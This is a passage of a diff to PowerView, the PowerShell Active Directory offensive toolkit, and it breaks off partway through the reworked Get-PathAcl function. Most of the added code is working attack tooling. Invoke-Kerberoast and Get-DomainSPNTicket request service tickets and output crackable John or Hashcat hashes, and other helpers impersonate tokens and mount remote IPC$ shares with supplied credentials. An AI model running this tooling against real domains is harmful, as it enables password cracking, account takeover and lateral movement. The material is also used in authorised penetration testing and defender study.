$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") } } @@ -1253,221 +1749,909 @@ function ConvertFrom-UACValue { } -filter Get-Proxy { +function Get-PrincipalContext { <# - .SYNOPSIS - - Enumerates the proxy server and WPAD conents for the current user. +.SYNOPSIS - .PARAMETER ComputerName +Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext +and simplified identity. - The computername to enumerate proxy settings on, defaults to local host. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None - .EXAMPLE +.PARAMETER Identity - PS C:\> Get-Proxy - - Returns the current proxy settings. +A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202), +or a DOMAIN\username identity. + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. #> - param( - [Parameter(ValueFromPipeline=$True)] + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('GroupName', 'GroupIdentity')] + [String] + $Identity, + [ValidateNotNullOrEmpty()] [String] - $ComputerName = $ENV:COMPUTERNAME + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + try { - $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName) - $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings") - $ProxyServer = $RegKey.GetValue('ProxyServer') - $AutoConfigURL = $RegKey.GetValue('AutoConfigURL') + if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) { + if ($Identity -match '.+\\.+') { + # DOMAIN\groupname + $ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical + if ($ConvertedIdentity) { + $ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/')) + $ObjectIdentity = $Identity.Split('\')[1] + Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'" + } + } + else { + $ObjectIdentity = $Identity + Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'" + $ConnectTarget = $Domain + } - $Wpad = "" - if($AutoConfigURL -and ($AutoConfigURL -ne "")) { - try { - $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL) + if ($PSBoundParameters['Credential']) { + Write-Verbose '[Get-PrincipalContext] Using alternate credentials' + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password) } - catch { - Write-Warning "Error connecting to AutoConfigURL : $AutoConfigURL" + else { + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget) } } - - if($ProxyServer -or $AutoConfigUrl) { + else { + if ($PSBoundParameters['Credential']) { + Write-Verbose '[Get-PrincipalContext] Using alternate credentials' + $DomainName = Get-Domain | Select-Object -ExpandProperty Name + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password) + } + else { + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain) + } + $ObjectIdentity = $Identity + } + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'Context' $Context + $Out | Add-Member Noteproperty 'Identity' $ObjectIdentity + $Out + } + catch { + Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_" + } +} + + +function Add-RemoteConnection { +<# +.SYNOPSIS + +Pseudo "mounts" a connection to a remote path using the specified +credential object, allowing for access of remote resources. If a -Path isn't +specified, a -ComputerName is required to pseudo-mount IPC$. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection +to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the +-Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$. + +To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path +or -ComputerName. + +.PARAMETER ComputerName + +Specifies the system to add a \\ComputerName\IPC$ connection for. + +.PARAMETER Path + +Specifies the remote \\UNC\path to add the connection for. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +$Cred = Get-Credential +Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred + +.EXAMPLE + +$Cred = Get-Credential +@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred +#> + + [CmdletBinding(DefaultParameterSetName = 'ComputerName')] + Param( + [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName, + + [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] + [ValidatePattern('\\\\.*\\.*')] + [String[]] + $Path, + + [Parameter(Mandatory = $True)] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential + ) - $Properties = @{ - 'ProxyServer' = $ProxyServer - 'AutoConfigURL' = $AutoConfigURL - 'Wpad' = $Wpad + BEGIN { + $NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW) + $NetResourceInstance.dwType = 1 + } + + PROCESS { + $Paths = @() + if ($PSBoundParameters['ComputerName']) { + ForEach ($TargetComputerName in $ComputerName) { + $TargetComputerName = $TargetComputerName.Trim('\') + $Paths += ,"\\$TargetComputerName\IPC$" } - - New-Object -TypeName PSObject -Property $Properties } else { - Write-Warning "No proxy settings found for $ComputerName" + $Paths += ,$Path + } + + ForEach ($TargetPath in $Paths) { + $NetResourceInstance.lpRemoteName = $TargetPath + Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath" + + # https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx + # CONNECT_TEMPORARY = 4 + $Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4) + + if ($Result -eq 0) { + Write-Verbose "$TargetPath successfully mounted" + } + else { + Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" + } } } - catch { - Write-Warning "Error enumerating proxy settings for $ComputerName : $_" +} + + +function Remove-RemoteConnection { +<# +.SYNOPSIS + +Destroys a connection created by New-RemoteConnection. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses WNetCancelConnection2 to destroy a connection created by +New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to +'unmount' \\$ComputerName\IPC$. + +.PARAMETER ComputerName + +Specifies the system to remove a \\ComputerName\IPC$ connection for. + +.PARAMETER Path + +Specifies the remote \\UNC\path to remove the connection for. + +.EXAMPLE + +Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local' + +.EXAMPLE + +Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' + +.EXAMPLE + +@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding(DefaultParameterSetName = 'ComputerName')] + Param( + [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName, + + [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] + [ValidatePattern('\\\\.*\\.*')] + [String[]] + $Path + ) + + PROCESS { + $Paths = @() + if ($PSBoundParameters['ComputerName']) { + ForEach ($TargetComputerName in $ComputerName) { + $TargetComputerName = $TargetComputerName.Trim('\') + $Paths += ,"\\$TargetComputerName\IPC$" + } + } + else { + $Paths += ,$Path + } + + ForEach ($TargetPath in $Paths) { + Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath" + $Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True) + + if ($Result -eq 0) { + Write-Verbose "$TargetPath successfully ummounted" + } + else { + Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" + } + } } } -function Request-SPNTicket { +function Invoke-UserImpersonation { <# - .SYNOPSIS - - Request the kerberos ticket for a specified service principal name (SPN). - - .PARAMETER SPN +.SYNOPSIS + +Creates a new "runas /netonly" type logon and impersonates the token. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION - The service principal name to request the ticket for. Required. - - .PARAMETER EncPart - - Switch. Return the encrypted portion of the ticket (cipher). +This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType +to simulate "runas /netonly". The resulting token is then impersonated with +ImpersonateLoggedOnUser() and the token handle is returned for later usage +with Invoke-RevertToSelf. - .EXAMPLE +.PARAMETER Credential - PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local" - - Request a kerberos service ticket for the specified SPN. - - .EXAMPLE +A [Management.Automation.PSCredential] object with alternate credentials +to impersonate in the current thread space. - PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local" -EncPart - - Request a kerberos service ticket for the specified SPN and return the encrypted portion of the ticket. +.PARAMETER TokenHandle - .EXAMPLE +An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation. +If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser() +is executed. - PS C:\> "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Request-SPNTicket +.PARAMETER Quiet - Request kerberos service tickets for all SPNs passed on the pipeline. +Suppress any warnings about STA vs MTA. - .EXAMPLE +.EXAMPLE - PS C:\> Get-NetUser -SPN | Request-SPNTicket +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Invoke-UserImpersonation -Credential $Cred - Request kerberos service tickets for all users with non-null SPNs. +.OUTPUTS + +IntPtr + +The TokenHandle result from LogonUser. +#> + + [OutputType([IntPtr])] + [CmdletBinding(DefaultParameterSetName = 'Credential')] + Param( + [Parameter(Mandatory = $True, ParameterSetName = 'Credential')] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential, + + [Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')] + [ValidateNotNull()] + [IntPtr] + $TokenHandle, + + [Switch] + $Quiet + ) + + if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) { + Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work." + } + + if ($PSBoundParameters['TokenHandle']) { + $LogonTokenHandle = $TokenHandle + } + else { + $LogonTokenHandle = [IntPtr]::Zero + $NetworkCredential = $Credential.GetNetworkCredential() + $UserDomain = $NetworkCredential.Domain + $UserName = $NetworkCredential.UserName + Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)" + + # LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3 + # this is to simulate "runas.exe /netonly" functionality + $Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); + + if (-not $Result) { + throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + } + + # actually impersonate the token from LogonUser() + $Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle) + + if (-not $Result) { + throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + + Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated" + $LogonTokenHandle +} + + +function Invoke-RevertToSelf { +<# +.SYNOPSIS + +Reverts any token impersonation. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses RevertToSelf() to revert any impersonated tokens. +If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation), +CloseHandle() is used to close the opened handle. + +.PARAMETER TokenHandle + +An optional IntPtr TokenHandle returned by Invoke-UserImpersonation. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$Token = Invoke-UserImpersonation -Credential $Cred +Invoke-RevertToSelf -TokenHandle $Token #> [CmdletBinding()] + Param( + [ValidateNotNull()] + [IntPtr] + $TokenHandle + ) + + if ($PSBoundParameters['TokenHandle']) { + Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle" + $Result = $Kernel32::CloseHandle($TokenHandle) + } + + $Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); + + if (-not $Result) { + throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + + Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted" +} + + +function Get-DomainSPNTicket { +<# +.SYNOPSIS + +Request the kerberos ticket for a specified service principal name (SPN). + +Author: machosec, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will either take one/more SPN strings, or one/more PowerView.User objects +(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN +using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted +portion of the ticket is then extracted and output in either crackable John or Hashcat +format (deafult of John). + +.PARAMETER SPN + +Specifies the service principal name to request the ticket for. + +.PARAMETER User + +Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for. + +.PARAMETER OutputFormat + +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'John'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote domain using Invoke-UserImpersonation. + +.EXAMPLE + +Get-DomainSPNTicket -SPN "HTTP/web.testlab.local" + +Request a kerberos service ticket for the specified SPN. + +.EXAMPLE + +"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket + +Request kerberos service tickets for all SPNs passed on the pipeline. + +.EXAMPLE + +Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat + +Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format. + +.INPUTS + +String + +Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. + +.INPUTS + +PowerView.User + +Accepts one or more PowerView.User objects on the pipeline with the User parameter set. + +.OUTPUTS + +PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. +#> + + [OutputType('PowerView.SPNTicket')] + [CmdletBinding(DefaultParameterSetName = 'RawSPN')] Param ( - [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName = $True)] + [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] + [ValidatePattern('.*/.*')] [Alias('ServicePrincipalName')] [String[]] $SPN, - - [Alias('EncryptedPart')] - [Switch] - $EncPart + + [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)] + [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })] + [Object[]] + $User, + + [ValidateSet('John', 'Hashcat')] + [Alias('Format')] + [String] + $OutputFormat = 'John', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - begin { - Add-Type -AssemblyName System.IdentityModel + BEGIN { + $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') + + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } } - process { - ForEach($UserSPN in $SPN) { - Write-Verbose "Requesting ticket for: $UserSPN" - if (!$EncPart) { - New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + PROCESS { + if ($PSBoundParameters['User']) { + $TargetObject = $User + } + else { + $TargetObject = $SPN + } + + ForEach ($Object in $TargetObject) { + if ($PSBoundParameters['User']) { + $UserSPN = $Object.ServicePrincipalName + $SamAccountName = $Object.SamAccountName + $DistinguishedName = $Object.DistinguishedName } else { + $UserSPN = $Object + $SamAccountName = 'UNKNOWN' + $DistinguishedName = 'UNKNOWN' + } + + # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3 + if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) { + $UserSPN = $UserSPN[0] + } + + try { $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + } + catch { + Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_" + } + if ($Ticket) { $TicketByteStream = $Ticket.GetRequest() - if ($TicketByteStream) - { - $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace "-" - [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split "A48201" - $Parts.RemoveAt($Parts.Count - 1) - $Parts -join "A48201" - break + } + if ($TicketByteStream) { + $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' + [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201' + $Parts.RemoveAt($Parts.Count - 1) + $Hash = $Parts -join 'A48201' + $Hash = $Hash.Insert(32, '$') + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName + $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName + $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName + + if ($OutputFormat -match 'John') { + $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" } + else { + if ($DistinguishedName -ne 'UNKNOWN') { + $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + else { + $UserDomain = 'UNKNOWN' + } + + # hashcat output format + $HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" + } + $Out | Add-Member Noteproperty 'Hash' $HashFormat + $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') + Write-Output $Out } } } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } } -function Get-PathAcl { +function Invoke-Kerberoast { <# - .SYNOPSIS - - Enumerates the ACL for a given file path. +.SYNOPSIS + +Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. + +Author: Will Schroeder (@harmj0y), @machosec +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket + +.DESCRIPTION + +Uses Get-DomainUser to query for user accounts with non-null service principle +names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. +The ticket format can be specified with -OutputFormat <John/Hashcat>. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. - .PARAMETER Path +.PARAMETER LDAPFilter - The local/remote path to enumerate the ACLs for. +Specifies an LDAP query string that is used to filter Active Directory objects. - .PARAMETER Recurse - - If any ACL results are groups, recurse and retrieve user membership. +.PARAMETER SearchBase - .EXAMPLE +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - PS C:\> Get-PathAcl "\\SERVER\Share\" - - Returns ACLs for the given UNC share. +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER OutputFormat + +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'John'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Invoke-Kerberoast | fl + +Kerberoasts all found SPNs for the current domain. + +.EXAMPLE + +Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat HashCat | fl + +Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat +format instead of John (the default). + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce +$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) +Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl + +Kerberoasts all found SPNs for the testlab.local domain using alternate credentials. + +.OUTPUTS + +PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. #> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.SPNTicket')] [CmdletBinding()] - param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] [String] - $Path, + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, [Switch] - $Recurse + $Tombstone, + + [ValidateSet('John', 'Hashcat')] + [Alias('Format')] + [String] + $OutputFormat = 'John', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - begin { + BEGIN { + $UserSearcherArguments = @{ + 'SPN' = $True + 'Properties' = 'samaccountname,distinguishedname,serviceprincipalname' + } + if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } - function Convert-FileRight { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity } + Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-PathAcl { +<# +.SYNOPSIS + +Enumerates the ACL for a given file path. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID + +.DESCRIPTION + +Enumerates the ACL for a specified file/folder path, and translates +the access rules for each entry into readable formats. If -Credential is passed, +Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share. + +.PARAMETER Path + +Specifies the local or remote path to enumerate the ACLs for. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target path. + +.EXAMPLE + +Get-PathAcl "\\SERVER\Share\" + +Returns ACLs for the given UNC share. + +.EXAMPLE + +gci .\test.txt | Get-PathAcl + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred + +.INPUTS + +String + +One of more paths to enumerate ACLs for. + +.OUTPUTS - # From http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights +PowerView.FileACL +A custom object with the full path and associated ACL entries. + +.LINK + +https://support.microsoft.com/en-us/kb/305144 +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.FileACL')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('FullName')] + [String[]] + $Path, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + + function Convert-FileRight { + # From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights [CmdletBinding()] - param( + Param( [Int] $FSR ) $AccessMask = @{ - [uint32]'0x80000000' = 'GenericRead' - [uint32]'0x40000000' = 'GenericWrite' - [uint32]'0x20000000' = 'GenericExecute' - [uint32]'0x10000000' = 'GenericAll' - [uint32]'0x02000000' = 'MaximumAllowed' - [uint32]'0x01000000' = 'AccessSystemSecurity' - [uint32]'0x00100000' = 'Synchronize' - [uint32]'0x00080000' = 'WriteOwner' - [uint32]'0x00040000' = 'WriteDAC' - [uint32]'0x00020000' = 'ReadControl' - [uint32]'0x00010000' = 'Delete' - [uint32]'0x00000100' = 'WriteAttributes' - [uint32]'0x00000080' = 'ReadAttributes' - [uint32]'0x00000040' = 'DeleteChild' - [uint32]'0x00000020' = 'Execute/Traverse' - [uint32]'0x00000010' = 'WriteExtendedAttributes' - [uint32]'0x00000008' = 'ReadExtendedAttributes' - [uint32]'0x00000004' = 'AppendData/AddSubdirectory' - [uint32]'0x00000002' = 'WriteData/AddFile' - [uint32]'0x00000001' = 'ReadData/ListDirectory' + [uint32]'0x80000000' = 'GenericRead' + [uint32]'0x40000000' = 'GenericWrite' + [uint32]'0x20000000' = 'GenericExecute' + [uint32]'0x10000000' = 'GenericAll' + [uint32]'0x02000000' = 'MaximumAllowed' + [uint32]'0x01000000' = 'AccessSystemSecurity' + [uint32]'0x00100000' = 'Synchronize' + [uint32]'0x00080000' = 'WriteOwner' + [uint32]'0x00040000' = 'WriteDAC' + [uint32]'0x00020000' = 'ReadControl' + [uint32]'0x00010000' = 'Delete' + [uint32]'0x00000100' = 'WriteAttributes' + [uint32]'0x00000080' = 'ReadAttributes' + [uint32]'0x00000040' = 'DeleteChild' + [uint32]'0x00000020' = 'Execute/Traverse' + [uint32]'0x00000010' = 'WriteExtendedAttributes' + [uint32]'0x00000008' = 'ReadExtendedAttributes' + [uint32]'0x00000004' = 'AppendData/AddSubdirectory' + [uint32]'0x00000002' = 'WriteData/AddFile' + [uint32]'0x00000001' = 'ReadData/ListDirectory' } $SimplePermissions = @{ - [uint32]'0x1f01ff' = 'FullControl' - [uint32]'0x0301bf' = 'Modify' - [uint32]'0x0200a9' = 'ReadAndExecute' - [uint32]'0x02019f' = 'ReadAndWrite' - [uint32]'0x020089' = 'Read' - [uint32]'0x000116' = 'Write' + [uint32]'0x1f01ff' = 'FullControl' + [uint32]'0x0301bf' = 'Modify' + [uint32]'0x0200a9' = 'ReadAndExecute' + [uint32]'0x02019f' = 'ReadAndWrite' + [uint32]'0x020089' = 'Read' + [uint32]'0x000116' = 'Write' } $Permissions = @() # get simple permission - $Permissions += 